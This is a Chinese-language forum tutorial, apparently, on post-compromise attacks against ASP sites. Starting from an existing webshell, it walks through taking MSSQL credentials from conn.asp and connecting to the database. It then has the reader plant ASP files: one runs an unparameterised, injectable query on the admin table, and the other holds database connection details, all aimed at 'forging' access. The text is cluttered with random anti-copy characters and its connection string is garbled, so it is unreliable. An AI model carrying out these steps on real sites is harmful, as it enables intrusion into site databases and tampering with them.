首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
' e( `& x: g- e$ I" UASP/Visual Basic代码
, f) V7 N+ h9 E* r! f3 @<!--#include file="xx.asp"-->
7 i' H% @- U/ c6 }$ X' N0 o1 Q<%
; f0 y, t) B$ u6 iset rs=server.createobject("ADODB.recordset")
9 u* R4 l7 d$ e" A {4 Oid = request("id") $ ^( @# n h N, ^# }4 |. ~4 k5 O
strSQL = "select * from admin where id=" & id 7 G; m5 w2 C' o* `1 ~: r. l
rs.open strSQL,conn,1,3 1 J( m& `/ j7 Q" X. w& \
rs.close A. l0 n' K; j$ W) v9 F+ \
%> * P6 _9 D8 C* ~ k5 d7 \, B
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!/ L2 a/ K5 g3 b* f3 _ _
然后就要构造一个连接数据库的文件了,代码如下:
8 h/ @- y0 n& G Q9 H8 _1 DASP/Visual Basic代码' e" ?# w0 h/ D$ ^
<%
6 r* z0 P: a; L& M' p: [% N& gstrSQLServerName = "000.000.000.000" '服务器名称或地址 f+ w" ^# }1 H0 |, Z7 r
strSQLDBUserName = "sqlname" '数据库帐号 , ]- V* f8 \+ B6 {8 _" d( S9 n6 N& m" Z
strSQLDBPassword = "sqlpass" '数据库密码 ' U; e0 P, S" k a: y1 ^6 E$ q
strSQLDBName = "sqldataname" '数据库名称 % p+ q5 O- G; F, X+ e; ^& A# c9 @: {/ s! `
Set conn = Server.CreateObject("ADODB.Connection") * N3 S3 r# v+ ]: T5 m
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" / n: e9 K' B& K/ \3 D( Q
conn.open strCon * H2 o. q9 i& I+ d+ h
%> & F$ o% ]1 q) ~0 `, R: g1 d6 G5 ^) v1 m2 W
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功7 `6 |$ l+ Q/ y/ E6 Y i3 s3 _
|